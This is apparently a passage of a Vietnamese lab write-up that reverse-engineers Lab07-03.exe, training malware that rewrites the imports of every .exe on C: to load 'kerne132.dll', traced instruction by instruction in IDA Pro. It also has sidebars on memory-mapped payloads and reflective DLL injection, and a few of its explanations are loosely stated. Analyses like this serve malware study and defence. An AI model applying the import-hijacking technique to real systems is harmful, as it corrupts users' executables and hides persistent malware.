- strlen(FindFileData.cFileName) tính độ dài chuỗi tên tệp (ví dụ: "Lab07-03" có độ dài là 8).
- +1 để bao gồm ký tự kết thúc chuỗi (null terminator).
- Do đó, FindFileData.dwReserved0 + v6 đưa con trỏ đến vị trí ngay sau tên tệp.
- Sau khi đã đến vị trí sau tên tệp, +3 được thêm vào để bỏ qua một số byte không cần thiết hoặc để đến vị trí chính xác của phần mở rộng tệp.
- Điều này thường cần thiết khi có các khoảng trống hoặc dữ liệu phụ trợ nằm giữa tên tệp và phần mở rộng.
- So sánh với ".exe" để xác định đó có phải tệp thực thi hay không.
- Thực hiện các thao tác khác với phần mở rộng.
3.5.6. Kiểm tra Header NT - Đây có phải là tệp PE không?
Quá trình xử lý tệp diễn ra theo các bước sau:
1. Mở tệp (CreateFileA): Tệp được mở với các tham số sau:
- Quyền truy cập: Chỉ đọc (GENERIC_READ).
- Chế độ chia sẻ: Cho phép các tiến trình khác đọc tệp đồng thời (FILE_SHARE_READ).
- Cách mở: Chỉ mở nếu tệp đã tồn tại (OPEN_EXISTING). Nếu tệp không tồn tại, hàm sẽ báo lỗi.
- Đường dẫn tệp: Được lưu trữ tại địa chỉ mà thanh ghi eax chứa. Hàm CreateFileA trả về một handle (một số định danh đại diện cho tệp) được lưu trong eax. Nếu có lỗi (ví dụ: tệp không tồn tại), eax sẽ chứa giá trị INVALID_HANDLE_VALUE (-1).
2. Tạo đối tượng ánh xạ tệp (CreateFileMappingA): Một đối tượng ánh xạ tệp được tạo ra để quản lý việc ánh xạ tệp vào bộ nhớ. Các tham số chính:
- Kích thước tối đa của ánh xạ: 4GB (được xác định bởi dwMaximumSizeHigh là 4 và dwMaximumSizeLow là 0).
- Bảo vệ bộ nhớ: Chỉ đọc (PAGE_READONLY).
- Handle của tệp: Được lấy từ kết quả của CreateFileA (giá trị trong eax). Hàm CreateFileMappingA trả về một handle cho đối tượng ánh xạ tệp, cũng được lưu trong eax.
3. Ánh xạ view của tệp vào bộ nhớ (MapViewOfFile): Một "view" (vùng nhớ) của tệp được ánh xạ vào không gian địa chỉ của tiến trình. Các tham số quan trọng:
- Offset bắt đầu ánh xạ trong tệp: 0F001F0000h. Đây là một offset rất lớn (gần 4GB) và khá bất thường. Nó cho thấy chương trình có thể chỉ muốn truy cập một phần cuối của tệp hoặc sử dụng một kỹ thuật đặc biệt.
- Kích thước ánh xạ: Vì tham số dwNumberOfBytesToMap là 0, hệ thống sẽ ánh xạ toàn bộ tệp (tối đa 4GB như đã đặt ở bước 2) từ offset đã chỉ định.
- Quyền truy cập: Do CreateFileMappingA đã đặt bảo vệ PAGE_READONLY, view này cũng sẽ chỉ đọc.
- Handle của đối tượng ánh xạ tệp: Được lấy từ kết quả của CreateFileMappingA (giá trị trong eax). Hàm MapViewOfFile trả về địa chỉ bắt đầu của view được ánh xạ trong eax. Nếu có lỗi, hàm sẽ trả về NULL.
4. Lưu địa chỉ view và xử lý tiếp: Địa chỉ bắt đầu của view được ánh xạ (trong eax) được sao chép vào thanh ghi esi. esi sau đó thường được sử dụng như một con trỏ để truy cập và xử lý dữ liệu trong vùng nhớ đã được ánh xạ.
Đoạn mã trong hình trên thực hiện các bước sau khi gọi MapViewOfFile:
Kiểm tra xem MapViewOfFile có thành công hay không bằng cách kiểm tra giá trị trả về trong esi. Nếu thất bại (trả về NULL), chương trình nhảy đến loc_4011D5 để xử lý lỗi.
Nếu MapViewOfFile thành công, chương trình kiểm tra xem vùng nhớ được ánh xạ có chứa một file PE hợp lệ hay không bằng cách kiểm tra địa chỉ của IMAGE_NT_HEADERS bằng hàm IsBadReadPtr. Nếu địa chỉ không hợp lệ, chương trình cũng nhảy đến loc_4011D5.
Bên lề:
Vùng nhớ được ánh xạ là một cơ chế ánh xạ một phần của tệp hoặc đối tượng khác vào bộ nhớ, cho phép đọc và ghi nội dung của tệp trực tiếp từ bộ nhớ. Trong PEView, giá trị ImageBase là địa chỉ bắt đầu của vùng nhìn được ánh xạ này.
1. Vùng nhớ được ánh xạ
Giải thích
Vùng nhớ được ánh xạ là một khu vực trong bộ nhớ ảo mà một file, thường
là file thực thi hoặc thư viện, được ánh xạ (mapped) vào. Điều này giúp
hệ điều hành (HĐH) nạp và quản lý file một cách hiệu quả.
Khi một file thực thi (.exe)
hoặc thư viện (.dll) được
tải, HĐH sử dụng cơ chế ánh xạ bộ nhớ để đặt file đó vào không gian địa
chỉ ảo của tiến trình. Trong trường hợp mã độc, các vùng nhớ được ánh xạ
có thể được sử dụng để:
-
Thực thi mã độc (nạp payload vào vùng nhớ và chạy).
-
Che giấu mã độc (ẩn mã trong bộ nhớ và không cần file trên đĩa).
-
Tương tác với hệ thống mà không cần ghi vào ổ đĩa (tránh để lại dấu
vết).
Cách hoạt động
-
Hệ điều hành sử dụng các bảng trang (page table) để ánh xạ các
trang bộ nhớ ảo đến các trang vật lý hoặc dữ liệu từ file trên
đĩa.
-
Khi cần đọc/ghi một file, vùng nhớ ánh xạ sẽ tải dữ liệu từ file trực
tiếp vào bộ nhớ và ngược lại.
Ví dụ thực tế
Một mã độc có thể:
-
Sử dụng CreateFileMapping và MapViewOfFile trên Windows để ánh
xạ một file độc hại vào bộ nhớ.
-
Thay đổi nội dung file trong bộ nhớ trước khi thực thi (như sửa đổi mã
hoặc nhúng shellcode).
- Xóa file trên đĩa nhưng vẫn tiếp tục thực thi từ bộ nhớ.
Mã giả minh họa:
HANDLE hFile = CreateFile(L"malicious.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); LPVOID lpBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
Mã trên nạp file malicious.exe vào vùng nhớ, từ đó mã độc có thể thực
thi hoặc thao tác.
2. ImageBase
Giải thích
ImageBase là địa chỉ cơ sở trong bộ nhớ mà file thực thi hoặc thư viện
được tải vào. Đây là một phần của định dạng file thực thi (PE - Portable
Executable trên Windows) và được lưu trong Optional Header.
-
ImageBase là điểm bắt đầu cho các
địa chỉ tương đối (RVA - Relative Virtual Address) trong file
thực thi.
-
Khi phân tích mã độc, giá trị ImageBase rất quan trọng để:
-
Tái cấu trúc hoặc khôi phục mã nguồn.
-
Phân tích địa chỉ của các hàm hoặc mã độc.
Cách hoạt động
-
Nếu ImageBase đã được HĐH cấp phát trong vùng nhớ, file được tải vào
đúng địa chỉ đó.
-
Nếu địa chỉ không khả dụng (do xung đột bộ nhớ), HĐH sẽ tái định vị
file thực thi đến địa chỉ khác, cập nhật lại các địa chỉ liên quan
(process relocation).
Ví dụ thực tế
Một file PE với ImageBase mặc định là
0x400000. Nếu file này được
tải vào bộ nhớ:
-
Entry Point = ImageBase + AddressOfEntryPoint
(ví dụ: 0x400000 +
0x1000).
-
Nếu mã độc sửa đổi hoặc sử dụng giá trị này để che giấu hàm hoặc
shellcode, việc phát hiện trở nên phức tạp.
Mã độc lợi dụng ImageBase:
-
Mã độc có thể thay đổi ImageBase để ngăn cản kỹ thuật phân tích
tĩnh.
-
Sử dụng VirtualAlloc để
ánh xạ mã độc vào vùng nhớ giả mạo ImageBase.
Phân tích kết hợp:
-
Memory-Mapped Region và ImageBase liên quan thế nào?
-
Khi file PE được ánh xạ vào bộ nhớ, vùng nhớ bắt đầu từ
ImageBase.
-
Việc ánh xạ cho phép mã độc thực thi hoặc nạp payload từ bộ nhớ thay
vì ổ đĩa.
- Tình huống thực tế:
-
Một file độc hại nạp vào địa chỉ
0x70000000 (thay vì
0x400000 mặc định) để
đánh lạc hướng công cụ phân tích.
-
Sử dụng kỹ thuật nạp PE trong bộ nhớ (Reflective DLL Injection) để
thực thi từ vùng nhớ mà không cần ghi lên ổ đĩa.
Mở Lab07-03.exe bằng PEView, nhìn vào vị trí đóng khung đỏ ở hình dưới đây.
Image Base là 00400000. Vì vậy, địa chỉ của esi đáng lẽ phải là 00400000, nhưng do địa chỉ ánh xạ được sử dụng khi chương trình chạy, trong quá trình phân tích tĩnh hiện tại, để thuận tiện, địa chỉ bắt đầu được đặt là 00000000.
- mov esi, eax: Lưu giá trị 00000000 vào thanh ghi esi.
- mov ebp, [esi+3ch]: Cộng giá trị 3ch (tức là 0x3C hoặc 60 trong hệ thập phân) vào esi và lưu giá trị tại địa chỉ đó vào thanh ghi ebp.
Cùng kiểm tra trong PEView để đối chiếu.
Giá trị của esi là 00000000, vì vậy esi + 3ch = 0000003c.
Như đã thực hành trong Lab07-02, dấu ngoặc vuông
[]
trong mã assembly sẽ lấy giá trị mà địa chỉ bên trong ngoặc vuông trỏ tới.
Do đó, giá trị của [esi+3ch] là giá trị tại địa chỉ 0000003C, cụ thể là E8. Giá trị E8 này được lưu vào thanh ghi ebp.
Lưu ý: E8 nằm ở offset 0x3C (tức là byte thứ 60 theo hệ thập lục phân) trong header của một tệp PE (Portable Executable - định dạng tệp thực thi của Windows). Giá trị E8 ở vị trí này biểu diễn một phần của PE signature, cụ thể hơn là nó thuộc về PE header signature)
Bên lề: Giải thích về ImageBase trong phân tích mã độc
ImageBase trong mã độc (và nói chung trong các file thực thi PE -
Portable Executable) là địa chỉ cơ sở (base address) nơi file thực thi hoặc
thư viện được nạp vào bộ nhớ. Đây là một phần quan trọng của kiến trúc file
PE trên hệ điều hành Windows.
Chi tiết về ImageBase:
- Khái niệm ImageBase:
-
Khi một file thực thi (hoặc thư viện .DLL) được tải vào bộ nhớ, hệ điều
hành cần một địa chỉ khởi đầu để ánh xạ (map) nội dung của file vào bộ
nhớ ảo. Địa chỉ khởi đầu này được gọi là ImageBase.
-
ImageBase là một giá trị được chỉ định trong PE Header (cụ thể trong
Optional Header của file PE). Giá trị này là nơi mà tác giả của
chương trình dự kiến file sẽ được nạp.
- Mục đích của ImageBase:
-
Truy cập dữ liệu dễ dàng: Các địa chỉ bên trong chương trình (bao
gồm code, dữ liệu, hàm API, v.v.) thường được tính toán dựa trên
ImageBase. Điều này giúp chương trình truy cập chính xác các phần khác
nhau trong bộ nhớ.
-
Hỗ trợ liên kết (linking): Tại thời điểm biên dịch, trình liên
kết (linker) sẽ sử dụng ImageBase để tính toán địa chỉ ảo của các phần
tử trong chương trình.
- Địa chỉ ImageBase mặc định:
-
Đối với file thực thi (.exe): Thường mặc định là
0x400000 (4 MB).
-
Đối với thư viện liên kết động (.dll): Thường mặc định là
0x10000000 (256 MB).
- ImageBase trong mã độc:
-
Mã độc thường tận dụng ImageBase để thực hiện các thao tác như
trích xuất API, thay đổi bộ nhớ, hoặc tính toán các địa chỉ nhảy (jump
address) bên trong chương trình.
-
Một số mã độc có thể thay đổi ImageBase để gây khó khăn trong việc phân
tích (anti-debugging). Khi ImageBase bị thay đổi, các công cụ phân tích
tĩnh như IDA Pro hoặc OllyDbg phải tái tính toán các địa chỉ.
- Relocation (Tái định vị):
-
Nếu ImageBase được chỉ định đã được một chương trình khác sử dụng,
Windows sẽ phải tái định vị (relocate) file thực thi đến một vị
trí khác. Điều này xảy ra thông qua bảng Relocation Table trong
file PE.
-
Một số mã độc tinh vi có thể lợi dụng quá trình này để tránh bị phát
hiện hoặc để thực hiện các hành vi khó lường.
IsBadReadPtr: Kiểm tra xem một khối bộ nhớ có quyền đọc hay không. Nếu có quyền đọc, giá trị trả về sẽ là "0".
C++: BOOL IsBadReadPtr( [in] const VOID *lp, [in] UINT_PTR ucb );
-
lp: Là con trỏ đến byte đầu tiên của khối bộ nhớ.
-
ucb: Là kích thước của khối bộ nhớ.
-
add ebp, esi: Giá trị của ebp (E8) được cộng với giá trị của esi (00000000), và kết quả 000000E8 được lưu lại.
-
push 4: Truyền giá trị 4 byte làm tham số.
-
push ebp: Truyền giá trị 000000E8 làm tham số.
→ Kiểm tra xem khối bộ nhớ có kích thước 4 byte, bắt đầu từ địa chỉ 000000E8, có quyền đọc hay không.
Khi gọi IsBadReadPtr, nó sẽ so sánh chuỗi 4 byte bắt đầu từ vị trí E8 với giá trị như 4550h.
Nhấn phải chuột tại vị trí 4550h, IDA Pro sẽ cho biết đó là ký tự EP như đóng khung xanh trong hình ở trên. Tuy nhiên, do giá trị HEX được lưu trữ theo thứ tự ngược, nên thực tế giá trị này là PE.
Tóm lại, quá trình này sử dụng hàm IsBadReadPtr để kiểm tra NT header của tệp nhằm xác định xem đó có phải là tệp PE (Portable Executable) hay không.
3.5.7. Gọi hàm sub_401040
Nếu xác định là tệp PE, đoạn mã tiếp theo sẽ được thực thi.
mov ecx, [ebp + 80h]: Giá trị ebp đang trỏ đến là E8, khi cộng thêm 80h (hệ 16), kết quả là 168. Giá trị mà địa chỉ 168 trỏ đến sẽ được sao chép vào ecx.
Theo ngữ cảnh, địa chỉ này dường như cũng là một phần nào đó của tệp PE. Tôi đã kiểm tra lại bằng PEview.
RVA (Relative Virtual Address) là giá trị biểu thị độ lệch tương đối so với địa chỉ trong bộ nhớ ảo.
Địa chỉ 168 được xác định là địa chỉ bắt đầu của IMPORT Table. Giá trị tại đó, 207C, sẽ được gán vào ecx.
Bây giờ, khi tất cả các tham số đã được chuẩn bị, đến lượt gọi hàm sub_401040.
Các tham số truyền vào hàm sub_401040 là:
- esi = 00000000 (địa chỉ bắt đầu của tệp),
- ebp = E8 (địa chỉ bắt đầu của NT header),
- ecx = 207C (giá trị RVA của IMPORT Table).
arg_0 = dword ptr 4 = ecx = 207C (giá trị RVA của IMPORT Table)
arg_4 = dword ptr 8 = ebp = E8 (địa chỉ bắt đầu của NT header)
arg_8 = dword ptr 0Ch = esi = 00000000 (địa chỉ bắt đầu của tệp)
(Các tham số được truyền ngược thứ tự và lưu vào biến theo thứ tự ngược lại).
Hàm sub_401040 được gọi và sau đó tiếp tục gọi một hàm khác.
-
mov eax, [esp+arg_4]: Sao chép giá trị E8 (địa chỉ bắt đầu của NT header) vào eax.
- Lý do biến cộng với esp trỏ đến giá trị của biến là để truy xuất giá trị được lưu tại địa chỉ đó.
-
push esi: Sao lưu giá trị hiện tại của esi bằng cách đẩy nó vào stack.
-
mov esi, [esp+4+arg_0]: Sao chép giá trị 207C (giá trị RVA của IMPORT Table) vào esi.
-
push eax: Truyền giá trị tham số E8.
-
push esi: Truyền giá trị tham số 207C.
-
call sub_401000: Gọi hàm sub_401000.
3.5.8. Gọi hàm sub_401000
arg_0 = dword ptr 4 = ecx = 207C (giá trị RVA của IMPORT Table)
arg_4 = dword ptr 8 = ebp = E8 (địa chỉ bắt đầu của NT header)
-
mov edx, [esp+arg_4]: Sao chép giá trị E8 (địa chỉ bắt đầu của NT header) vào thanh ghi edx.
-
xor eax, eax / xor ecx, ecx: Đặt giá trị của thanh ghi eax và ecx thành 0 (xóa giá trị hiện tại).
-
push ebx: Đẩy giá trị của thanh ghi ebx vào stack (lưu giá trị hiện tại của ebx).
-
mov ax, [edx+14h]: Lấy nội dung tại địa chỉ E8 + 14h (địa chỉ FC) và sao chép nó vào thanh ghi ax.
Bên lề:
AX và
EAX thực chất là một phần của
cùng một thanh ghi.
EAX là viết tắt của "expand AX",
một thanh ghi có kích thước 32 bit.
AX đại diện cho phần 16 bit thấp
hơn của EAX.
Lý do cho cách ký hiệu này là vì trước đây, các thanh ghi 16 bit là đủ. Tuy nhiên, với sự phát triển của CPU, nhu cầu về các thanh ghi 32 bit đã xuất hiện. Hiện nay, trên các CPU 64 bit, thanh ghi RAX (mở rộng từ EAX) có kích thước 64 bit được sử dụng.
Do đó, AX = E0 (và EAX = E0).
Vị trí FC chỉ đến Size of Optional Header.
- mov cx, [edx+6]: Lấy nội dung tại vị trí E8 + 6 (tức là EE) và sao chép vào thanh ghi cx.
CX = 03 (ecx = 03).
Vị trí EE chỉ đến Number of sections (số lượng các section).
-
push esi / xor esi, esi: Sao lưu giá trị của esi và sau đó đặt esi thành 0.
-
test ecx, ecx: Kiểm tra giá trị của ecx. Vì ecx hiện tại không bằng 0, nên ZF (Flag Zero) sẽ không được thiết lập.
-
push edi: Đẩy giá trị của edi vào stack.
-
lea eax, [eax+edx+18h]: Tính toán E0 + E8 + 18h = 1E0 và lưu kết quả vào eax.
1E0 là điểm bắt đầu của section header đầu tiên.
Bên lề: Gải thích thêm về lênh Lea
Lệnh Lea lấy địa chỉ nằm trong dấu ngoặc vuông, trong khi lệnh mov lấy giá trị mà địa chỉ trong dấu ngoặc vuông chỉ đến.
Lệnh LEA và cách hoạt động
Lệnh LEA (Load Effective
Address) trong hợp ngữ được sử dụng để
lấy địa chỉ hiệu dụng (effective address) của một toán hạng
(operand). Đây là một lệnh đặc biệt, vì thay vì làm việc trực tiếp với dữ
liệu tại địa chỉ bộ nhớ, nó lấy chính địa chỉ đó và lưu vào thanh
ghi.
-
Địa chỉ hiệu dụng là địa chỉ được tính toán bởi CPU dựa trên các
toán hạng được cung cấp, thường liên quan đến các biểu thức địa chỉ trong
dấu ngoặc vuông [ ].
Cú pháp lệnh LEA:
LEA destination, source
-
destination: Một thanh ghi
dùng để lưu trữ địa chỉ hiệu dụng.
-
source: Một biểu thức địa chỉ,
chẳng hạn như
[base + index * scale + displacement].
Lệnh LEA không truy cập bộ nhớ
hay lấy giá trị tại địa chỉ, nó chỉ tính địa chỉ.
---------------------------------------------------------------------------------------------------------
Khác biệt giữa LEA và
MOV
-
LEA:
-
Lấy địa chỉ hiệu dụng (effective address) của toán hạng trong dấu
ngoặc vuông [ ].
- Không truy cập bộ nhớ.
- Chỉ thực hiện phép tính địa chỉ.
-
MOV:
-
Lấy giá trị tại địa chỉ mà biểu thức
[ ]
trỏ tới.
- Truy cập bộ nhớ để đọc giá trị.
---------------------------------------------------------------------------------------------------------
Ví dụ minh họa về LEA và
MOV
Ví dụ 1: Tính địa chỉ
Giả sử:
section .data myArray dd 10, 20, 30, 40 ; Một mảng chứa 4 số nguyên 32-bit
Và đoạn mã:
section .text mov eax, [myArray] ; Lấy giá trị tại địa chỉ `myArray`, tức là giá trị đầu tiên (10) lea eax, [myArray] ; Lấy địa chỉ hiệu dụng của `myArray`, không phải giá trị
-
mov eax, [myArray]: Thanh ghi
eax sẽ chứa giá trị tại địa chỉ
myArray, tức là
10.
-
lea eax, [myArray]: Thanh ghi
eax sẽ chứa địa chỉ của myArray, không phải giá trị
tại đó.
---------------------------------------------------------------------------------------------------------
Ví dụ 2: Tính toán địa chỉ phức tạp
section .data myArray dd 10, 20, 30, 40 ; Một mảng chứa 4 số nguyên
section .text lea eax, [myArray + 8] ; Lấy địa chỉ của phần tử thứ 3 (30), vì mỗi số nguyên chiếm 4 byte mov ebx, [eax] ; Lấy giá trị tại địa chỉ vừa tính toán (giá trị là 30) 32-bit
-
lea eax, [myArray + 8]:
eax sẽ chứa địa chỉ của phần
tử thứ 3 trong mảng.
-
mov ebx, [eax]:
ebx sẽ chứa giá trị tại địa
chỉ này, tức là 30.
---------------------------------------------------------------------------------------------------------
Ví dụ 3: Tăng hiệu suất trong các phép tính
LEA cũng thường được dùng để
thực hiện các phép toán phức tạp mà không cần truy cập bộ nhớ:
lea eax, [ebx + ecx * 4]
-
Thanh ghi eax sẽ chứa giá trị
bằng ebx + (ecx * 4).
-
Trong trường hợp này, LEA đóng
vai trò như một phép toán cộng và nhân nhanh, thay vì tính toán địa chỉ
thực.
- jle short loc_401039: Lệnh jle (Jump if Less or Equal) sẽ thực hiện nhảy nếu ZF (Zero Flag) được thiết lập hoặc nếu kết quả của lệnh so sánh (cmp) cho thấy toán hạng bên trái nhỏ hơn hoặc bằng toán hạng bên phải. Trong trường hợp này, ZF không được thiết lập, vì vậy lệnh không nhảy.
mov edi, [esp+0Ch+arg_0]: Lưu giá trị 207C (giá trị RVA của IMPORT Table) vào thanh ghi edi.
1. mov edx, [eax+0Ch]: eax (= 1E0) cộng với 0C bằng 1EC, giá trị tại địa chỉ 1EC (là 1000) được lưu vào edx.3. jb short loc_401031: Lệnh cmp a, b sẽ nhảy nếu a nhỏ hơn hoặc bằng b. Vì edi lớn hơn, không nhảy và tiếp tục thực thi đoạn mã sau.
1. mov ebx, [eax+8]: 1E0 + 8 = 1E8, giá trị tại địa chỉ 1E8 (là 970) được lưu vào ebx.
2. add ebx, edx: 970 (ebx) cộng với 1000 (edx) bằng 1970, giá trị 1970 được lưu vào ebx.
3. cmp edi, ebx: So sánh 207C với 1970.
4. jb short loc_40103B: Nếu giá trị nhỏ hơn thì nhảy đến loc_40103B. Vì 207C không nhỏ hơn 1970, nên không nhảy và tiếp tục thực thi mã sau.
1. inc esi: Tăng giá trị của esi lên 1. Vì esi ban đầu là 0 (do lệnh xor esi, esi), nên sau khi thực hiện lệnh này, esi sẽ trở thành 1.
2. add eax, 28h: Cộng 28h vào giá trị của eax. Nghĩa là cộng 28h vào 1E0, kết quả sẽ là 208.
3. So sánh esi (= 1) với ecx (= 3).
→ Kiểm tra xem đang so sánh đến mục (section) thứ mấy.
Vòng lặp
Khối ➀ loc_401021:
1. mov edx, [eax+0Ch]: Lấy giá trị tại địa chỉ 214 (208 + 0Ch = 214), giá trị này là 2000, và lưu vào thanh ghi edx.RVA là một giá trị tương đối dùng để biểu thị địa chỉ trong tệp thực thi.
2. cmp edi, edx: So sánh edi = 207C với 2000.
3. jb short loc_401031: Vì giá trị bên trái (edi) lớn hơn, nên không nhảy.
Khối ➁
1. mov ebx, [eax+8]: Lấy giá trị tại địa chỉ 210 (208 + 8 = 210), giá trị này là 2B2, và lưu vào thanh ghi ebx.
3.5.9. Quay trở lại hàm sub_401040
-
mov ecx, eax: Lấy giá trị của eax (208) và lưu vào ecx.
-
add esp, 8: Cộng thêm 8 vào thanh ghi esp.
-
test ecx, ecx: Kiểm tra giá trị của ecx (không phải 0).
-
jnz short loc_401089: Nếu ecx không bằng 0, nhảy đến loc_401089.
loc_40105B:
- mov eax, [ecx+14h]: Lấy giá trị tại địa chỉ 21C (208 + 14h = 21C), giá trị này là 2000, và lưu vào eax.
- mov edx, [ecx+0Ch]: Lấy giá trị tại địa chỉ 214 (208 + 0Ch = 214), giá trị này là 2000, và lưu vào thanh ghi edx.
-
mov ecx, [esp+arg_8]: Lấy giá trị tại arg_8 (địa chỉ bắt đầu), giá trị này là 0, và lưu vào ecx.
-
sub eax, edx: Thực hiện phép trừ eax - edx (2000 - 2000), kết quả là 0.
-
add eax, esi: Cộng giá trị esi (được lấy từ lệnh mov esi, [esp+4+arg_0], trong đó arg_0 có giá trị là 207C) vào eax, kết quả eax = 207C.
-
pop esi: Lấy giá trị từ stack và lưu vào esi.
-
add eax, ecx: Cộng giá trị ecx (0) vào eax (207C), kết quả vẫn là 207C.
-
Retn: Trả về giá trị 207C.
-
sub_401040 endp: Kết thúc hàm sub_401040.
3.9.10. Quay lại hàm sub_4010A0, so sánh tên của các hàm import.
-
mov ebx, eax: Lấy giá trị eax (207C) và lưu vào ebx.
-
push 14h: Đẩy giá trị 14h vào stack.
-
push ebx: Đẩy giá trị của ebx vào stack.
-
call ds:IsBadReadPtr: Gọi hàm IsBadReadPtr trong bảng ds để kiểm tra quyền truy cập đọc.
-
test eax, eax: Kiểm tra giá trị của eax.
→ Kiểm tra xem có quyền đọc trên khối dữ liệu có kích thước 14h bắt đầu từ 207C hay không. Nếu có quyền đọc, hàm sẽ trả về 0.
14h = 20 byte là kích thước của cấu trúc IID cho mỗi import. Điều này có nghĩa là cần phải đọc thông tin về các import.
- jnz short loc_4011D5: Vì có quyền đọc, giá trị trả về là 0, do đó kết quả của lệnh test eax, eax là 0, và không thực hiện nhảy.
- add edi, 0Ch: Cộng 0Ch vào 207C, kết quả là 2088, và lưu giá trị này vào edi.
Lưu ý: Giá trị tại địa chỉ 2088 chính là tên của import.
loc_401142:
- mov eax, [edi-8]: Lấy giá trị tại địa chỉ [edi-8] (2080), lưu giá trị này vào eax. Giá trị lưu vào eax là 00000000.
-
mov [esp+1Ch+lpFileName], edi: Lưu giá trị 2088 vào biến lpFileName.
-
test eax, eax: Kiểm tra eax, kết quả là 0, vì vậy ...
-
jnz short loc_401152: Vì eax là 0, nên không thực hiện nhảy.
-
cmp dword ptr [edi], 0: So sánh giá trị tại địa chỉ edi (2088) với 0. Giá trị tại 2088 là 21C2, không bằng 0.
-
jz short loc_4011AC: Vì chúng không bằng nhau, nên không thực hiện nhảy.
loc_401152:
-
mov edx, [edi]: Lấy giá trị tại địa chỉ edi (21C2) và lưu vào edx.
-
push esi: Đẩy giá trị 00000000 vào stack.
-
push ebp: Đẩy giá trị E8 vào stack.
-
push edx: Đẩy giá trị 21C2 vào stack.
-
call sub_401040: Gọi lại hàm sub_401040 một lần nữa!
Giá trị trả về là 21C2.
-
add esp, 0Ch: Cộng thêm 0Ch vào esp.
-
mov ebx, eax: Lấy giá trị eax = 21C2 và lưu vào ebx.
-
push 14h: Đẩy giá trị 14h vào stack (ucb).
-
push ebx: Đẩy giá trị ebx (lp) vào stack.
-
call ds:IsBadReadPtr: Gọi hàm IsBadReadPtr trong bảng ds.
Kiểm tra xem có quyền đọc trên khối dữ liệu có kích thước 14h bắt đầu từ 21C2 hay không. Nếu có quyền đọc, giá trị trả về sẽ là 0.
-
test eax, eax: Kiểm tra eax (kết quả là 0), do đó kết quả kiểm tra cũng là 0.
-
jnz short loc_4011D5: Vì eax là 0, không thực hiện nhảy.
So sánh chuỗi "kernel32.dll" với giá trị trong ebx (21C2) bằng cách gọi hàm stricmp.
Giá trị hex 21C2 trỏ đến chuỗi "KERNEL32.dll".
Hàm stricmp so sánh và nếu các chuỗi giống nhau, nó sẽ trả về 0.
Vì chúng giống nhau, giá trị trả về trong eax là 0, và kết quả của lệnh test eax, eax cũng là 0.
jnz short loc_4011A7: Nếu kết quả so sánh không bằng, sẽ thực hiện nhảy đến loc_4011A7.
Thêm 20 byte vào edi (= 21C2) để lấy tên import tiếp theo và thực hiện so sánh. (= Vòng lặp for)
3.5.11. Nếu tên của import là "kernel32.dll"
Thực hiện lệnh tiếp theo mà không cần nhảy.
Bên lề:
repne
có
nghĩa là 'lặp lại nếu không bằng', và
scasb
có
nghĩa là so sánh từng byte một. Lệnh này sẽ so sánh chuỗi tại vị trí bộ nhớ
mà edi trỏ đến với giá trị al,
ax,
eax, và lặp lại việc so sánh
từng byte cho đến khi chúng bằng nhau (hoặc đến khi
ecx bằng 0). Khi không bằng
nhau, giá trị của ecx sẽ giảm đi
1.
Vậy làm sao lệnh này trả về độ dài của chuỗi?
Giá trị trả về của
_stricmp
hiện tại là eax = 0.
Khi biểu diễn giá trị 0xFFFFFFFF dưới dạng số bù 2 có dấu,
ecx = -1.
Khi so sánh từ đầu chuỗi kernel32.dll (12 byte) với
eax = 0, chúng không giống nhau,
vì vậy mỗi lần so sánh byte, giá trị
ecx giảm đi
1. Tiếp tục lặp lại và so sánh, cho đến khi gặp ký tự null
\0
, ký tự kết thúc chuỗi của kernel32.dll. Lúc này, eax gặp giá trị bằng 0,
do đó repne
kết thúc. Tại thời điểm này, giá trị ecx
là -14, và sau khi đảo ngược các bit của ecx với lệnh
not ecx
, giá trị này trở thành 13. Do đó, độ dài của chuỗi kernel32.dll
(cộng với ký tự null) là 13.
Điều này càng rõ ràng hơn khi xem qua IDA decompile. Đặt dấu nhắc lệnh tại vị trí dword_403010
Sau đó nhấn F5 để chuyển sang chế độ Pseudocode View
Lệnh
repne scasb
được thể hiện như là
strlen()
, và
strlen
chỉ trả về độ dài chuỗi thực tế, không tính ký tự null, nên có thêm 1 đơn vị
vào kết quả.
Thông tin chi tiết về lệnh
repne scasb
có thể tham khảo trong tài liệu của Intel Developer Manual 7.3.9.1 tại:
https://www.intel.co.kr/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-1-manual.pdf
*Bền lề: Lệnh
shr
có
nghĩa là dịch chuyển giá trị
a
sang
phải
b
lần.
9. rep movsd: Lệnh này sao chép giá trị tại vị trí mà esi trỏ đến vào vị trí mà edi trỏ đến, với đơn vị là double word (4 byte).
Sao chép tệp kerne132.dll vào vị trí của edi (vị trí ban đầu của kernel32.dll). Nói cách khác, kernel32.dll bị ghi đè bằng kerne132.dll.
rep movsd
cũng lặp lại việc sao chép chuỗi theo giá trị của
ecx
. Do lệnh shr
đã thiết lập
ecx
là 3 và
lệnh
rep movsd
sao chép theo đơn vị dword (4 byte), điều này có nghĩa là sẽ sao chép
3 * 4 = 12, tức là
12 byte.
Sau khi so sánh tên import cuối cùng, nếu cộng thêm
20 byte vào
edi, giá trị tại địa chỉ mà
edi
trỏ
đến sẽ trở thành
00000000
. Đây chính là điều kiện để thoát vòng lặp.
cmp dword ptr [edi], 0
: So sánh giá trị tại địa chỉ mà
edi
trỏ
đến với 0 để xác định điều kiện
thoát khỏi vòng lặp.
Khi thoát khỏi vòng lặp, chương trình sẽ đóng handle và trả về.
Sau khi thực hiện
sub_4010A0 endp, chương trình sẽ
quay lại và tiếp tục tìm kiếm tệp
.exe
tiếp
theo, lặp lại các bước đã mô tả.
Cuối cùng, Lab07-03.exe sẽ sửa đổi tất cả các file .exe trong ổ C:\ để import kerne132.dll thay vì kernel32.dll.
3.5.11. Tóm tắt về Lab07-03.exe
-
Nếu không truyền chuỗi "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" làm tham số khi chạy chương trình, chương trình sẽ thoát.
-
Ẩn
Lab07-03.dll
dưới tênkerne132.dll
. -
Sử dụng hàm đệ quy để quét tất cả các tệp trong ổ C: và tìm kiếm các tệp
.exe
. -
Lấy tên import của các tệp .exe đã tìm được và so sánh với
kernel32.dll
. -
Nếu trùng khớp, thay thế
kernel32.dll
bằngkerne132.dll
. -
Tất cả các tệp .exe trong C:\ sẽ bị thay đổi.
Lý do có nhiều cảnh báo khi thực hiện
Lab07-03
là vì mã độc này thay đổi tất cả các tệp, gây ra những thiệt hại nghiêm
trọng.
